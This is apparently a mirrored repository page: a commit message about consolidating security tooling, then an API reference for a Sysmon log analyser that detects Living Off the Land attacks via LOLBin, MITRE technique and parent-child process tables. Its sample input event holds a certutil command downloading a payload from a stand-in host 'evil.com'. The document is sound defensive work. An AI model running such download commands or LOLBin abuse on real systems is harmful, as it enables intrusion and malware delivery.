mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 08:30:20 +00:00
24f816b6a3
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
91 lines
3.1 KiB
Markdown
91 lines
3.1 KiB
Markdown
# API Reference: Detecting Living Off the Land Attacks
|
|
|
|
## CLI Usage
|
|
|
|
```bash
|
|
# Analyze Sysmon EVTX file
|
|
python agent.py sysmon-events.evtx
|
|
|
|
# Analyze Sysmon JSON/JSONL export (one event per line)
|
|
python agent.py sysmon-events.jsonl
|
|
|
|
# Filter output for critical alerts
|
|
python agent.py sysmon-events.evtx 2>/dev/null | grep CRITICAL
|
|
```
|
|
|
|
## LOLBins Detected
|
|
|
|
| Binary | MITRE Technique | Severity | Abuse Type |
|
|
|--------|----------------|----------|------------|
|
|
| certutil.exe | T1218, T1105, T1140 | high | Download, decode, encode |
|
|
| mshta.exe | T1218.005 | high | Remote/inline script execution |
|
|
| rundll32.exe | T1218.011 | critical | JS execution, LSASS dump, DLL loading |
|
|
| regsvr32.exe | T1218.010 | critical | Squiblydoo scriptlet execution |
|
|
| bitsadmin.exe | T1197, T1105 | high | BITS download, job notification |
|
|
| wmic.exe | T1047 | high | Remote process creation, XSL processing |
|
|
| msbuild.exe | T1127.001 | high | Inline task execution from temp/AppData |
|
|
| installutil.exe | T1218.004 | high | Silent uninstall execution |
|
|
| cmstp.exe | T1218.003 | high | INF-based execution |
|
|
| mavinject.exe | T1218.013 | critical | DLL injection into running process |
|
|
| cscript.exe | T1059.005 | medium | Remote/suspicious script execution |
|
|
| wscript.exe | T1059.005 | medium | Remote/suspicious script execution |
|
|
|
|
## Suspicious Parent-Child Pairs Detected
|
|
|
|
| Parent Process | Child Process | MITRE | Severity |
|
|
|---------------|--------------|-------|----------|
|
|
| winword/excel/outlook | cmd/powershell/mshta/certutil | T1204.002 | critical |
|
|
| wmiprvse.exe | cmd/powershell/mshta/rundll32 | T1047 | critical |
|
|
| services.exe | cmd/powershell/mshta/rundll32 | T1543.003 | high |
|
|
| svchost.exe | mshta/regsvr32/msbuild/certutil | T1218 | high |
|
|
|
|
## Network-Suspicious LOLBins
|
|
|
|
LOLBins making outbound network connections are flagged as CRITICAL:
|
|
|
|
certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe,
|
|
installutil.exe, bitsadmin.exe, esentutl.exe, expand.exe, replace.exe, cmstp.exe
|
|
|
|
## Input Formats
|
|
|
|
### JSON Events Format
|
|
|
|
```json
|
|
[
|
|
{
|
|
"Image": "C:\\Windows\\System32\\certutil.exe",
|
|
"CommandLine": "certutil -urlcache -f http://evil.com/payload.exe C:\\temp\\p.exe",
|
|
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
|
|
"User": "CORP\\jsmith",
|
|
"UtcTime": "2026-03-19 14:32:15.000",
|
|
"Computer": "WORKSTATION-01"
|
|
}
|
|
]
|
|
```
|
|
|
|
### EVTX Requirements
|
|
|
|
Sysmon EVTX files with:
|
|
- Event ID 1 (Process Creation) with full command-line logging
|
|
- Event ID 3 (Network Connection) for LOLBin network detection
|
|
|
|
## Report Output Schema
|
|
|
|
```json
|
|
{
|
|
"report_date": "2026-03-19T12:00:00+00:00",
|
|
"total_findings": 15,
|
|
"by_severity": {"critical": 3, "high": 8, "medium": 4},
|
|
"by_lolbin": {"certutil.exe": 5, "rundll32.exe": 3, "mshta.exe": 2},
|
|
"mitre_techniques_observed": ["T1047", "T1105", "T1218", "T1218.005", "T1218.011"],
|
|
"findings": []
|
|
}
|
|
```
|
|
|
|
## References
|
|
|
|
- LOLBAS Project: https://lolbas-project.github.io/
|
|
- MITRE ATT&CK Defense Evasion: https://attack.mitre.org/tactics/TA0005/
|
|
- Sysmon Documentation: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
|
|
- Sigma LOLBin Rules: https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation
|